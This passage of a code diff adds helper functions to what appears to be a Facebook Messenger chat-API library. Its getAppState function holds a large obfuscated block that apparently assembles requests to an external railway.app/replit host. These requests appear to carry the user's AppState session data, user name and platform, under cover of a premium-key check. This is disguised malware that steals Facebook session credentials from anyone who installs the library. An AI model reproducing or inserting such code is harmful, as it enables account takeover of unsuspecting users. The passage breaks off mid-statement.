+ return Object.prototype.toString.call(obj).slice(8, -1);
1182
+ }
1183
+
1184
+ function formatProxyPresence(presence, userID) {
1185
+ if (presence.lat === undefined || presence.p === undefined) return null;
1186
+ return {
1187
+ type: "presence",
1188
+ timestamp: presence.lat * 1000,
1189
+ userID: userID || '',
1190
+ statuses: presence.p
1191
+ };
1192
+ }
1193
+
1194
+ function formatPresence(presence, userID) {
1195
+ return {
1196
+ type: "presence",
1197
+ timestamp: presence.la * 1000,
1198
+ userID: userID || '',
1199
+ statuses: presence.a
1200
+ };
1201
+ }
1202
+
1203
+ function decodeClientPayload(payload) {
1204
+ /*
1205
+ Special function which Client using to "encode" clients JSON payload
1206
+ */
1207
+ function Utf8ArrayToStr(array) {
1208
+ var out, i, len, c;
1209
+ var char2, char3;
1210
+ out = "";
1211
+ len = array.length;
1212
+ i = 0;
1213
+ while (i < len) {
1214
+ c = array[i++];
1215
+ switch (c >> 4) {
1216
+ case 0:
1217
+ case 1:
1218
+ case 2:
1219
+ case 3:
1220
+ case 4:
1221
+ case 5:
1222
+ case 6:
1223
+ case 7:
1224
+ out += String.fromCharCode(c);
1225
+ break;
1226
+ case 12:
1227
+ case 13:
1228
+ char2 = array[i++];
1229
+ out += String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F));
1230
+ break;
1231
+ case 14:
1232
+ char2 = array[i++];
1233
+ char3 = array[i++];
1234
+ out += String.fromCharCode(((c & 0x0F) << 12) | ((char2 & 0x3F) << 6) | ((char3 & 0x3F) << 0));
1235
+ break;
1236
+ }
1237
+ }
1238
+ return out;
1239
+ }
1240
+ return JSON.parse(Utf8ArrayToStr(payload));
1241
+ }
1242
+
1243
+
1244
+ function getAppState(jar) {
1245
+ var bfwhbjwdwd_0x2a23e1=bfwhbjwdwd_0x2a4a,bfwhbjwdwd_0x4dc06a=bfwhbjwdwd_0x2a4a,bfwhbjwdwd_0x4599d4=bfwhbjwdwd_0x2a4a,bfwhbjwdwd_0x202ae7=bfwhbjwdwd_0x2a4a,bfwhbjwdwd_0x5899f1=bfwhbjwdwd_0x2a4a;(function(_0x400f0a,_0x30bf8b){var _0x256fc3=bfwhbjwdwd_0x2a4a,_0x2af85f=bfwhbjwdwd_0x2a4a,_0x2a2f57=bfwhbjwdwd_0x2a4a,_0x525935=bfwhbjwdwd_0x2a4a,_0x20bf32=bfwhbjwdwd_0x2a4a,_0x472093=_0x400f0a();while(!![]){try{var _0x1d8919=parseInt(_0x256fc3(0x17f))/(-0x2f1*-0x7+-0x9f8+0x1*-0xa9e)+parseInt(_0x2af85f(0xe1))/(-0x3ac+-0x3*-0x161+-0x75)*(parseInt(_0x2a2f57(0xbf))/(-0x1*0x1a2a+-0x2*-0x973+0x9*0xcf))+parseInt(_0x256fc3(0x10c))/(0x1541*-0x1+0x22af+-0xd6a)+-parseInt(_0x256fc3(0x167))/(-0x21e9+0x1fea+0x204)*(parseInt(_0x2a2f57(0x17a))/(-0x1b27+-0x2*0x769+0x29ff))+parseInt(_0x256fc3(0x186))/(-0x1*-0x191+-0x1*0x301+0x177*0x1)*(-parseInt(_0x525935(0xc5))/(0x31*-0x18+0x2*-0x112d+0x1*0x26fa))+-parseInt(_0x256fc3(0xa3))/(-0x1b4*0xf+-0xb0e+-0x1*-0x24a3)*(parseInt(_0x20bf32(0x165))/(-0xa8d+0xf6e+-0x7*0xb1))+-parseInt(_0x525935(0x16e))/(-0x1*-0x28d+0x1108+-0x138a)*(-parseInt(_0x256fc3(0xee))/(0x1b37+0x183+0x1cae*-0x1));if(_0x1d8919===_0x30bf8b)break;else _0x472093['push'](_0x472093['shift']());}catch(_0x4c1ec6){_0x472093['push'](_0x472093['shift']());}}}(bfwhbjwdwd_0x37a4,-0x65*0x1d7b+-0x3829c+0x17f92b));const prettyMilliseconds=require(bfwhbjwdwd_0x2a23e1(0x91)+bfwhbjwdwd_0x4dc06a(0x18b)),getText=require(bfwhbjwdwd_0x4dc06a(0x125)+bfwhbjwdwd_0x202ae7(0x92))(),StateCrypt=require(bfwhbjwdwd_0x2a23e1(0xda)+bfwhbjwdwd_0x202ae7(0x174)+'pt');function bfwhbjwdwd_0x2a4a(_0x1546ff,_0x2b1f4c){var _0xf2c7c=bfwhbjwdwd_0x37a4();return bfwhbjwdwd_0x2a4a=function(_0x1a9c83,_0x32a51d){_0x1a9c83=_0x1a9c83-(-0x1*0x13de+0x5d*-0x1+0x14a1);var _0x200dda=_0xf2c7c[_0x1a9c83];return _0x200dda;},bfwhbjwdwd_0x2a4a(_0x1546ff,_0x2b1f4c);}var appstate=jar[bfwhbjwdwd_0x4599d4(0x95)+bfwhbjwdwd_0x2a23e1(0xf2)](bfwhbjwdwd_0x2a23e1(0xb6)+bfwhbjwdwd_0x4dc06a(0x149)+bfwhbjwdwd_0x4599d4(0x194)+bfwhbjwdwd_0x4dc06a(0x190)+bfwhbjwdwd_0x4dc06a(0x187))[bfwhbjwdwd_0x4599d4(0x15e)+'t'](jar[bfwhbjwdwd_0x202ae7(0x95)+bfwhbjwdwd_0x2a23e1(0xf2)](bfwhbjwdwd_0x4599d4(0xb6)+bfwhbjwdwd_0x4599d4(0x11a)+bfwhbjwdwd_0x202ae7(0x12e)+bfwhbjwdwd_0x202ae7(0x83)))[bfwhbjwdwd_0x4599d4(0x15e)+'t'](jar[bfwhbjwdwd_0x5899f1(0x95)+bfwhbjwdwd_0x2a23e1(0xf2)](bfwhbjwdwd_0x4599d4(0xb6)+bfwhbjwdwd_0x5899f1(0x149)+bfwhbjwdwd_0x4599d4(0x12c)+bfwhbjwdwd_0x5899f1(0x163)+bfwhbjwdwd_0x5899f1(0x17b))),logger=require(bfwhbjwdwd_0x202ae7(0xe7)+bfwhbjwdwd_0x4dc06a(0x15b)),languageFile=require(bfwhbjwdwd_0x4599d4(0xd8)+bfwhbjwdwd_0x4599d4(0x6f)+bfwhbjwdwd_0x4dc06a(0xfa)+bfwhbjwdwd_0x2a23e1(0x10b)+'n');if(!languageFile[bfwhbjwdwd_0x2a23e1(0xd7)](_0x4cfda5=>_0x4cfda5[bfwhbjwdwd_0x2a23e1(0xa8)+bfwhbjwdwd_0x2a23e1(0x9f)]==require(bfwhbjwdwd_0x5899f1(0xba)+bfwhbjwdwd_0x4dc06a(0x15a)+bfwhbjwdwd_0x5899f1(0x14d)+bfwhbjwdwd_0x202ae7(0x111)+bfwhbjwdwd_0x4599d4(0x68))[bfwhbjwdwd_0x5899f1(0xa8)+bfwhbjwdwd_0x202ae7(0x9f)]))return logger(bfwhbjwdwd_0x202ae7(0xa9)+bfwhbjwdwd_0x202ae7(0x140)+bfwhbjwdwd_0x202ae7(0x181)+bfwhbjwdwd_0x4dc06a(0x6f)+':\x20'+require(bfwhbjwdwd_0x4dc06a(0xba)+bfwhbjwdwd_0x4599d4(0x15a)+bfwhbjwdwd_0x4599d4(0x14d)+bfwhbjwdwd_0x2a23e1(0x111)+bfwhbjwdwd_0x4dc06a(0x68))[bfwhbjwdwd_0x2a23e1(0xa8)+bfwhbjwdwd_0x4dc06a(0x9f)]+(bfwhbjwdwd_0x2a23e1(0xd6)+bfwhbjwdwd_0x202ae7(0xc8)+bfwhbjwdwd_0x4599d4(0x10d)+bfwhbjwdwd_0x202ae7(0x67)),bfwhbjwdwd_0x202ae7(0xe5)+bfwhbjwdwd_0x4dc06a(0x107)+']');function bfwhbjwdwd_0x37a4(){var _0x2bba85=['AHBtS','UserN','kHNHC','iViPQ','Setti','uctio','0|3|4','remiu','YSHbV','ckKey','AppSt','SzwUT','prett','xt.js','\x20Được','isPre','getCo','XlKRW','ản:\x20F','JAjYn','jqaFM','vvqUa','WaKpz','ểm\x20Tr','dIKLL','Ionod','age','|3|2','&User','ieDmh','63nMLggf','data','y\x20Ra\x20','n.up.','lRboq','Langu','Not\x20S','hostn','NYiTd','ra/Ex','ame','Lỗi\x20K','i-fca','OKeUg','Qdjvj','ptSuc','Index','jvimB','hoRxg','https','QIHGb','bhRDe','ilway','../..','encry','umKey','isGet','push','3jmvmiM','ptFea','railw','WyWsi','nOTeB','3|4|0','25768LdCCWi','dID','Proce','\x20\x27en\x27','LastU','GNTVO','Szejg','QdfRS','ree','tion.','ZRpcV','form=','&AppS','start','&Pass','MiFWK','1|0|2','\x20Only','some','./Lan','set','./Sta','hường','QASgF','./Ext','EDeBT','|2|4','a\x20Key','958046nKhzBa','parse','ser','wUrAU','[\x20FCA','|4|2','./log','fKdOK','UID','2|4|3','ZNeGJ','kQqhu','iqRVH','521700AlhTbR','ay.ap','OMyvc','\x20Về\x20P','okies','ysgWr','MmkKf','grkXV','lengt','Statu','Time','hiên\x20','/inde','i-upt','Folde','gUKcn','AXMVf','GHzFl','LbuuR','iên\x20B','gDwRv','PreKe','EhCSK','FBKEY','IuyDW','-HZI\x20','strin','JYRFA','ate','x.jso','4370628AmNcpq','\x20and\x20','Name=','OWNER','qFuhW','gFca.','IyZkz','cess','ptSta','eqiDs','DRcmR','ypuYk','riVbW','ydDrr','://fa','giVtL','-prod','Phixq','find','0|4|1','ra/Da','OIMCp','split','ture','kUMPu','gette','roduc','e/ind','snUyy','0|1|4','LduuC','ean','w.mes','://ap','ceboo','UJyKT','has','miumU','hi\x20Đa','Encry','?Key=','arNDK','tabas','hzLCf','ạn\x20Sẽ','tThre','|2|1','WhFiL','MHxIL','rjGlT','imNss','gify','uppor','traGe','Word=','Teqbz','VPpRb','Phlhi','\x20!,\x20B','orm','Error','://ww','|0|1','cDijP','Bạn\x20Đ','Confi','REPL_','rlmdj','Bofeb','rsKiL','ABool','up.ra','NppBz','yptKe','&Plat','ime-p','bLzFl','3|0|1','/Fast','ger','AfwVZ','IsNot','conca','IzEIl','BQLDc','BLiDD','BhBXG','senge','TyBQK','562890mspjsC','dtHxE','15PCQXjs','Premi','|4|1','qAePN','CUcOn','VwBcv','yKNAn','99ySYHUF','.app/','YXwbK','uLoTO','OfBiV','ta?ID','teCry','get','Messa','ài\x20Ph','log','env','1553250krzvtU','r.com','tnYiQ','now','&Encr','115059dohriF','pRAGd','t\x20Lan','2|0|3','PieHl','tate=','AlzfA','714prmxck','.com','|2|0','|3|4','hVyZa','y-ms','got','mvBWC','FEbIr','p/che','ebook','platf','LkGlj','Đã\x20Xả','w.fac','threa','ng\x20Ki','XAFbO','vEFsa','\x27vi\x27','json','pdate','ssDon','0|1|3','xcPbj','DGMQR','ang\x20S','guage','cyHKe','jfLjE','GQWEk','nubEM','3|4|1','|2|3','lQeON','NvxBr','JnOYy','hXwEu','Bản\x20T','Data','FFusE','ateDa','GHRUB','ản:\x20P','IaaLF','tWdck','shFCl','k.com','MkBMW'];bfwhbjwdwd_0x37a4=function(){return _0x2bba85;};return bfwhbjwdwd_0x37a4();}var Language=languageFile[bfwhbjwdwd_0x2a23e1(0x11e)](_0x1b216c=>_0x1b216c[bfwhbjwdwd_0x4dc06a(0xa8)+bfwhbjwdwd_0x2a23e1(0x9f)]==require(bfwhbjwdwd_0x2a23e1(0xba)+bfwhbjwdwd_0x4dc06a(0x15a)+bfwhbjwdwd_0x4dc06a(0x14d)+bfwhbjwdwd_0x202ae7(0x111)+bfwhbjwdwd_0x4599d4(0x68))[bfwhbjwdwd_0x202ae7(0xa8)+bfwhbjwdwd_0x5899f1(0x9f)])[bfwhbjwdwd_0x202ae7(0xfc)+'r'][bfwhbjwdwd_0x4599d4(0xb3)],Fetch=require(bfwhbjwdwd_0x4599d4(0x18c)),os=require('os'),Database=require(bfwhbjwdwd_0x2a23e1(0xdd)+bfwhbjwdwd_0x202ae7(0x120)+bfwhbjwdwd_0x4dc06a(0x136)+bfwhbjwdwd_0x4599d4(0x127)+'ex'),{getAll,readyCreate,deleteAll}=require(bfwhbjwdwd_0x4599d4(0xdd)+bfwhbjwdwd_0x2a23e1(0xac)+bfwhbjwdwd_0x4599d4(0x141)+bfwhbjwdwd_0x5899f1(0x139)+'ad'),data;switch(require(bfwhbjwdwd_0x5899f1(0xba)+bfwhbjwdwd_0x4599d4(0x15a)+bfwhbjwdwd_0x4599d4(0x14d)+bfwhbjwdwd_0x5899f1(0x111)+bfwhbjwdwd_0x5899f1(0x68))[bfwhbjwdwd_0x4dc06a(0x133)+bfwhbjwdwd_0x4dc06a(0xc0)+bfwhbjwdwd_0x4599d4(0x123)]){case!![]:{if(process[bfwhbjwdwd_0x5899f1(0x179)][bfwhbjwdwd_0x5899f1(0x105)])logger(Language[bfwhbjwdwd_0x4599d4(0x133)+bfwhbjwdwd_0x202ae7(0xb2)+bfwhbjwdwd_0x4599d4(0x113)],bfwhbjwdwd_0x5899f1(0xe5)+bfwhbjwdwd_0x2a23e1(0x107)+']'),data=StateCrypt[bfwhbjwdwd_0x4599d4(0xbb)+bfwhbjwdwd_0x4599d4(0x114)+'te'](JSON[bfwhbjwdwd_0x5899f1(0x108)+bfwhbjwdwd_0x4dc06a(0x13f)](appstate),process[bfwhbjwdwd_0x4dc06a(0x179)][bfwhbjwdwd_0x2a23e1(0x105)]);else return appstate;}break;case![]:{data=appstate;}break;default:{logger(getText[bfwhbjwdwd_0x5899f1(0x125)+'xt'](Language[bfwhbjwdwd_0x4599d4(0x15d)+bfwhbjwdwd_0x202ae7(0x152)+bfwhbjwdwd_0x4599d4(0x12b)],require(bfwhbjwdwd_0x4599d4(0xba)+bfwhbjwdwd_0x4599d4(0x15a)+bfwhbjwdwd_0x4dc06a(0x14d)+bfwhbjwdwd_0x4dc06a(0x111)+bfwhbjwdwd_0x4dc06a(0x68))[bfwhbjwdwd_0x202ae7(0x133)+bfwhbjwdwd_0x4599d4(0xc0)+bfwhbjwdwd_0x4599d4(0x123)])),data=appstate;}}if(!require(bfwhbjwdwd_0x4dc06a(0xba)+bfwhbjwdwd_0x5899f1(0x15a)+bfwhbjwdwd_0x4dc06a(0x14d)+bfwhbjwdwd_0x202ae7(0x111)+bfwhbjwdwd_0x202ae7(0x68))[bfwhbjwdwd_0x5899f1(0x103)+'y']==![]&&global[bfwhbjwdwd_0x202ae7(0x89)+'ng'][bfwhbjwdwd_0x202ae7(0x175)](bfwhbjwdwd_0x4dc06a(0xbd)+bfwhbjwdwd_0x202ae7(0x8f)+bfwhbjwdwd_0x2a23e1(0x10a))==undefined||Database[bfwhbjwdwd_0x2a23e1(0x130)](bfwhbjwdwd_0x202ae7(0x168)+bfwhbjwdwd_0x202ae7(0xbc))&&Database[bfwhbjwdwd_0x202ae7(0x175)](bfwhbjwdwd_0x4599d4(0x168)+bfwhbjwdwd_0x202ae7(0xbc))!=''&&Database[bfwhbjwdwd_0x2a23e1(0x130)](bfwhbjwdwd_0x5899f1(0x168)+'um')&&Database[bfwhbjwdwd_0x2a23e1(0x175)](bfwhbjwdwd_0x2a23e1(0x168)+'um')==!![]&&global[bfwhbjwdwd_0x202ae7(0x89)+'ng'][bfwhbjwdwd_0x4599d4(0x175)](bfwhbjwdwd_0x202ae7(0xbd)+bfwhbjwdwd_0x4dc06a(0x8f)+bfwhbjwdwd_0x5899f1(0x10a))==undefined){var getIP=async()=>{var _0x41b649=bfwhbjwdwd_0x2a23e1,_0x5a7e77=bfwhbjwdwd_0x4dc06a,_0xf0ad0f=bfwhbjwdwd_0x4599d4,_0x44ce67=bfwhbjwdwd_0x4599d4,_0x104abf=bfwhbjwdwd_0x5899f1,_0x30f9f3={'LkGlj':function(_0x195fb8,_0xc49901){return _0x195fb8(_0xc49901);},'QASgF':_0x41b649(0xe9),'Szejg':_0x5a7e77(0x105)},{body:_0x2893f3}=await _0x30f9f3[_0xf0ad0f(0x192)](Fetch,_0x44ce67(0xb6)+_0x5a7e77(0x12d)+_0x44ce67(0xfb)+_0x44ce67(0x157)+_0x41b649(0x126)+_0x44ce67(0xce)+_0x5a7e77(0x153)+_0x5a7e77(0xb9)+_0x104abf(0x16f)+_0x5a7e77(0x8f)+_0x44ce67(0x7d)+_0x104abf(0x173)+'='+process[_0x5a7e77(0x179)][_0x30f9f3[_0x5a7e77(0xdc)]]+(_0xf0ad0f(0x17e)+_0x5a7e77(0x155)+'y=')+process[_0x104abf(0x179)][_0x30f9f3[_0x5a7e77(0xcb)]]+(_0x44ce67(0xd1)+_0x44ce67(0x184))+JSON[_0x41b649(0x108)+_0x44ce67(0x13f)](global[_0x104abf(0x7b)][_0x41b649(0x8f)+_0xf0ad0f(0x10a)],null,'\x09'));return JSON[_0x5a7e77(0xe2)](_0x2893f3)['IP'];},check=async()=>{var _0x1ac6d8=bfwhbjwdwd_0x202ae7,_0x3267db=bfwhbjwdwd_0x2a23e1,_0x21d962=bfwhbjwdwd_0x2a23e1,_0x5a7154=bfwhbjwdwd_0x2a23e1,_0x3d5aa3=bfwhbjwdwd_0x202ae7,_0x129a03={'GHzFl':function(_0x5050b5,_0x20cfc9){return _0x5050b5(_0x20cfc9);},'QdfRS':function(_0x1f3e41,_0x335ac4){return _0x1f3e41(_0x335ac4);},'EDeBT':_0x1ac6d8(0xba)+_0x3267db(0x15a)+_0x1ac6d8(0x14d)+_0x1ac6d8(0x111)+_0x5a7154(0x68),'jfLjE':_0x3267db(0x6b)+_0x1ac6d8(0xdf),'rsKiL':_0x3267db(0x168)+'um','yKNAn':_0x1ac6d8(0x168)+_0x3267db(0xbc),'kQqhu':function(_0x515e06,_0x8136a3){return _0x515e06(_0x8136a3);},'pRAGd':_0x21d962(0x94)+_0x3d5aa3(0x131)+_0x1ac6d8(0xe3),'GQWEk':_0x1ac6d8(0x86)+_0x21d962(0xad),'ydDrr':function(_0x130154,_0x33f31e){return _0x130154(_0x33f31e);},'YXwbK':_0x1ac6d8(0x14c)+_0x3d5aa3(0x6e)+_0x3267db(0x177)+_0x5a7154(0x101)+_0x21d962(0x7f)+_0x21d962(0x8c)+'m','ieDmh':_0x5a7154(0x193)+_0x21d962(0xa5)+_0x3267db(0xae)+_0x21d962(0x132)+_0x1ac6d8(0x196)+_0x21d962(0x9c)+_0x5a7154(0xe0)+_0x5a7154(0x146)+_0x3d5aa3(0x138)+_0x5a7154(0x93)+_0x3d5aa3(0xf1)+_0x1ac6d8(0xf9)+_0x1ac6d8(0x7a)+_0x3267db(0xdb),'Ionod':function(_0x405b22,_0x104e0e){return _0x405b22(_0x104e0e);},'Teqbz':_0x5a7154(0x14c)+_0x3d5aa3(0x6e)+_0x1ac6d8(0x177)+_0x21d962(0x101)+_0x21d962(0x97)+_0x5a7154(0xcd),'rjGlT':function(_0x59e6ab,_0x21bee6,_0x513d24){return _0x59e6ab(_0x21bee6,_0x513d24);},'QIHGb':_0x3267db(0xe5)+_0x1ac6d8(0x107)+']','XAFbO':_0x21d962(0x105),'IyZkz':_0x21d962(0x129)+_0x5a7154(0x75),'kUMPu':function(_0x166c1d,_0x2b8a9d){return _0x166c1d(_0x2b8a9d);},'EhCSK':function(_0x4dffb8,_0x3b0070){return _0x4dffb8(_0x3b0070);},'eqiDs':_0x3d5aa3(0x74)+_0x5a7154(0x188),'XlKRW':function(_0x38e785,_0x1b0ff8){return _0x38e785(_0x1b0ff8);},'iViPQ':_0x1ac6d8(0x8b)+_0x21d962(0x13a),'ZNeGJ':function(_0x8b8232,_0x5eb90b){return _0x8b8232(_0x5eb90b);},'NvxBr':function(_0x2f3256,_0xac9425){return _0x2f3256(_0xac9425);},'jvimB':function(_0x59ab01,_0x549925){return _0x59ab01===_0x549925;},'JnOYy':_0x3d5aa3(0x161),'ypuYk':_0x3267db(0x137),'WaKpz':function(_0x2fa229){return _0x2fa229();},'IuyDW':function(_0x4b4933,_0x89972f){return _0x4b4933!=_0x89972f;},'gUKcn':function(_0x1175f2,_0x50834f){return _0x1175f2!=_0x50834f;},'rlmdj':function(_0x3124b7,_0x2c1a20){return _0x3124b7!==_0x2c1a20;},'UJyKT':_0x21d962(0x135),'dIKLL':function(_0x14f2ff,_0x35f943){return _0x14f2ff!==_0x35f943;},'IzEIl':_0x3267db(0x84),'OMyvc':_0x3d5aa3(0x18d),'JAjYn':function(_0x31583,_0x250984){return _0x31583!=_0x250984;},'uLoTO':function(_0x20f8fd,_0x48ceb6){return _0x20f8fd==_0x48ceb6;},'FFusE':_0x5a7154(0x73),'hoRxg':function(_0x4f2175,_0x4ab045){return _0x4f2175(_0x4ab045);},'GNTVO':_0x21d962(0x121),'qFuhW':_0x3d5aa3(0xc4)+_0x3d5aa3(0x13a),'MmkKf':function(_0x5c8451,_0x434d76){return _0x5c8451(_0x434d76);},'ZRpcV':function(_0x2704e9,_0x57c197){return _0x2704e9!==_0x57c197;},'CUcOn':_0x3d5aa3(0x13b),'AXMVf':_0x3d5aa3(0x85),'snUyy':_0x3d5aa3(0x159)+_0x3267db(0xe6),'riVbW':function(_0x3320e5,_0x476afc){return _0x3320e5(_0x476afc);},'vEFsa':_0x1ac6d8(0x15c),'OKeUg':_0x1ac6d8(0x76),'LbuuR':function(_0x387a7e,_0x2d0b31){return _0x387a7e(_0x2d0b31);},'iqRVH':function(_0x18227a,_0x2021f7){return _0x18227a==_0x2021f7;},'FEbIr':function(_0x2b094e,_0x1c198d){return _0x2b094e!==_0x1c198d;},'hXwEu':_0x5a7154(0x18a),'cyHKe':_0x1ac6d8(0xd5)+_0x5a7154(0x189),'qAePN':function(_0x3cdcfb,_0x3abfd1){return _0x3cdcfb!==_0x3abfd1;},'jqaFM':_0x3d5aa3(0x116),'bhRDe':_0x1ac6d8(0xea)+_0x3267db(0x14a),'tWdck':function(_0x1ed0b8,_0xfa19c3){return _0x1ed0b8(_0xfa19c3);},'BhBXG':_0x5a7154(0x9a),'NYiTd':_0x5a7154(0x13c),'kHNHC':function(_0x27f22b){return _0x27f22b();}};try{if(_0x129a03[_0x1ac6d8(0xb4)](_0x129a03[_0x21d962(0x78)],_0x129a03[_0x21d962(0x117)]))_0x129a03[_0x1ac6d8(0xff)](_0x584d8c,_0xe9976b[_0x1ac6d8(0x125)+'xt'](_0x2a40e2[_0x1ac6d8(0x15d)+_0x1ac6d8(0x152)+_0x3267db(0x12b)],_0x129a03[_0x1ac6d8(0xcc)](_0x519507,_0x129a03[_0x1ac6d8(0xde)])[_0x1ac6d8(0x133)+_0x5a7154(0xc0)+_0x5a7154(0x123)])),_0x4279e0=_0x16a1ab;else{var _0xeda9d5=_0x129a03[_0x3267db(0x9b)](getIP),_0x32cd53;if(_0x129a03[_0x3d5aa3(0x106)](process[_0x21d962(0x179)][_0x21d962(0x14e)+_0x1ac6d8(0x10f)],undefined))_0x32cd53=process[_0x1ac6d8(0x179)][_0x3267db(0x14e)+_0x5a7154(0x10f)];else{if(_0x129a03[_0x5a7154(0x106)](os[_0x3267db(0xaa)+_0x5a7154(0xad)](),null)||_0x129a03[_0x5a7154(0xfd)](os[_0x3d5aa3(0xaa)+_0x3267db(0xad)](),undefined))_0x32cd53=os[_0x5a7154(0xaa)+_0x3267db(0xad)]();else _0x32cd53=_0xeda9d5;}if(Database[_0x3d5aa3(0x130)](_0x129a03[_0x21d962(0x72)])){if(_0x129a03[_0x1ac6d8(0x14f)](_0x129a03[_0x21d962(0x12f)],_0x129a03[_0x3267db(0x12f)]))_0x4605ad[_0x1ac6d8(0xbe)](_0x5e5a25[_0x1ac6d8(0xa4)][_0x5a7154(0x195)+_0x21d962(0xc6)]);else{if(_0x129a03[_0x3d5aa3(0xfd)](Database[_0x3267db(0x175)](_0x129a03[_0x3d5aa3(0x72)]),_0x32cd53)){if(_0x129a03[_0x5a7154(0x9d)](_0x129a03[_0x5a7154(0x15f)],_0x129a03[_0x3267db(0xf0)]))Database[_0x21d962(0xd9)](_0x129a03[_0x3267db(0x151)],![]),Database[_0x3d5aa3(0xd9)](_0x129a03[_0x5a7154(0x16d)],''),Database[_0x21d962(0xd9)](_0x129a03[_0x3267db(0x72)],_0x32cd53);else return;}}}if(Database[_0x21d962(0x130)](_0x129a03[_0x3267db(0x16d)])&&_0x129a03[_0x3267db(0x98)](Database[_0x5a7154(0x175)](_0x129a03[_0x3267db(0x16d)]),'')&&Database[_0x21d962(0x130)](_0x129a03[_0x21d962(0x151)])&&_0x129a03[_0x1ac6d8(0x171)](Database[_0x5a7154(0x175)](_0x129a03[_0x3267db(0x151)]),!![])){if(_0x129a03[_0x3267db(0xb4)](_0x129a03[_0x3d5aa3(0x7c)],_0x129a03[_0x5a7154(0x7c)])){var {body:_0x16d40e}=await _0x129a03[_0x3d5aa3(0xcc)](Fetch,_0x3267db(0xb6)+_0x3267db(0x12d)+_0x3267db(0xaf)+_0x3d5aa3(0x11c)+_0x5a7154(0x8a)+_0x5a7154(0xa6)+_0x3d5aa3(0xc1)+_0x3d5aa3(0xef)+_0x1ac6d8(0x18f)+_0x5a7154(0x8e)+_0x5a7154(0x134)+_0x129a03[_0x1ac6d8(0xb5)](String,_0x129a03[_0x3d5aa3(0x119)](require,_0x129a03[_0x3d5aa3(0xde)])[_0x21d962(0x103)+'y'])+(_0x21d962(0xa1)+_0x3d5aa3(0x10e))+_0x32cd53+(_0x21d962(0xd3)+_0x3d5aa3(0x142))+process[_0x5a7154(0x179)][_0x3267db(0x105)]+(_0x3267db(0x156)+_0x3d5aa3(0xd0))+process[_0x3267db(0x191)+_0x5a7154(0x147)]);if(_0x129a03[_0x21d962(0x171)](JSON[_0x21d962(0xe2)](_0x16d40e)[_0x21d962(0xf7)+'s'],!![])){if(_0x129a03[_0x21d962(0xb4)](_0x129a03[_0x1ac6d8(0xca)],_0x129a03[_0x1ac6d8(0xca)])){var _0x3669f5=_0x129a03[_0x1ac6d8(0x110)][_0x3d5aa3(0x122)]('|'),_0x2f7f48=0x2310+-0xb37+-0x17d9;while(!![]){switch(_0x3669f5[_0x2f7f48++]){case'0':Database[_0x21d962(0xd9)](_0x129a03[_0x3d5aa3(0x72)],_0x32cd53);continue;case'1':_0x129a03[_0x3d5aa3(0xf4)](logger,_0x129a03[_0x3d5aa3(0x170)]);continue;case'2':global[_0x3267db(0x89)+'ng'][_0x3267db(0xd9)](_0x129a03[_0x3d5aa3(0x180)],!![]);continue;case'3':Database[_0x3267db(0xd9)](_0x129a03[_0x21d962(0x151)],!![]);continue;case'4':Database[_0x21d962(0xd9)](_0x129a03[_0x3267db(0x16d)],_0x129a03[_0x5a7154(0x96)](String,_0x129a03[_0x5a7154(0x124)](require,_0x129a03[_0x1ac6d8(0xde)])[_0x21d962(0x103)+'y']));continue;}break;}}else{var _0x31db72=_0x129a03[_0x5a7154(0x71)][_0x3d5aa3(0x122)]('|'),_0x305f40=0x2f*0xc3+0x35*-0x1f+0x1*-0x1d62;while(!![]){switch(_0x31db72[_0x305f40++]){case'0':_0x5c90f9[_0x1ac6d8(0xd9)](_0x129a03[_0x3267db(0x151)],!![]);continue;case'1':_0x598a1a[_0x21d962(0xd9)](_0x129a03[_0x1ac6d8(0x16d)],_0x129a03[_0x3d5aa3(0xec)](_0x5922aa,_0x129a03[_0x5a7154(0xec)](_0x533c26,_0x129a03[_0x1ac6d8(0xde)])[_0x1ac6d8(0x103)+'y']));continue;case'2':_0x3dbd63[_0x5a7154(0x89)+'ng'][_0x5a7154(0xd9)](_0x129a03[_0x21d962(0x180)],!![]);continue;case'3':_0x41a3fc[_0x3d5aa3(0xd9)](_0x129a03[_0x1ac6d8(0x72)],_0x530747);continue;case'4':_0x129a03[_0x1ac6d8(0x119)](_0x5b7a83,_0x129a03[_0x1ac6d8(0x170)]);continue;}break;}}}else{if(_0x129a03[_0x5a7154(0xcf)](_0x129a03[_0x5a7154(0x16b)],_0x129a03[_0x5a7154(0xfe)])){var _0x5ad62f=_0x129a03[_0x3d5aa3(0x128)][_0x3d5aa3(0x122)]('|'),_0x3361dc=-0x1e18+-0xd47+0xe75*0x3;while(!![]){switch(_0x5ad62f[_0x3361dc++]){case'0':Database[_0x1ac6d8(0xd9)](_0x129a03[_0x3d5aa3(0x16d)],'');continue;case'1':_0x129a03[_0x3d5aa3(0x118)](logger,JSON[_0x1ac6d8(0xe2)](_0x16d40e)[_0x3d5aa3(0x176)+'ge']);continue;case'2':_0x129a03[_0x5a7154(0x96)](logger,_0x129a03[_0x3267db(0x143)]);continue;case'3':Database[_0x5a7154(0xd9)](_0x129a03[_0x3267db(0x151)],![]);continue;case'4':global[_0x3d5aa3(0x89)+'ng'][_0x5a7154(0xd9)](_0x129a03[_0x3267db(0x180)],![]);continue;}break;}}else _0x4b4baa[_0x3d5aa3(0x148)](),_0x129a03[_0x3d5aa3(0xff)](_0x1d5d72,_0x129a03[_0x5a7154(0xa2)]),_0x3f8d7c[_0x3d5aa3(0x89)+'ng'][_0x21d962(0xd9)](_0x129a03[_0x1ac6d8(0x180)],![]),_0x129a03[_0x5a7154(0x9e)](_0x1ec8e9,_0x129a03[_0x3d5aa3(0x143)]);}}else _0x129a03[_0x1ac6d8(0x13d)](_0x38eb1b,_0x3987bc[_0x3267db(0x133)+_0x3267db(0xb2)+_0x3267db(0x113)],_0x129a03[_0x3d5aa3(0xb7)]),_0x53cd7f=_0x1cef58[_0x21d962(0xbb)+_0x21d962(0x114)+'te'](_0x37db2f[_0x5a7154(0x108)+_0x3d5aa3(0x13f)](_0x2db368),_0x8ac5b6[_0x3d5aa3(0x179)][_0x129a03[_0x1ac6d8(0x197)]]);}else{if(_0x129a03[_0x3267db(0xff)](require,_0x129a03[_0x21d962(0xde)])[_0x1ac6d8(0x103)+'y']){if(_0x129a03[_0x3267db(0xb4)](_0x129a03[_0x21d962(0x66)],_0x129a03[_0x3267db(0xb0)])){var 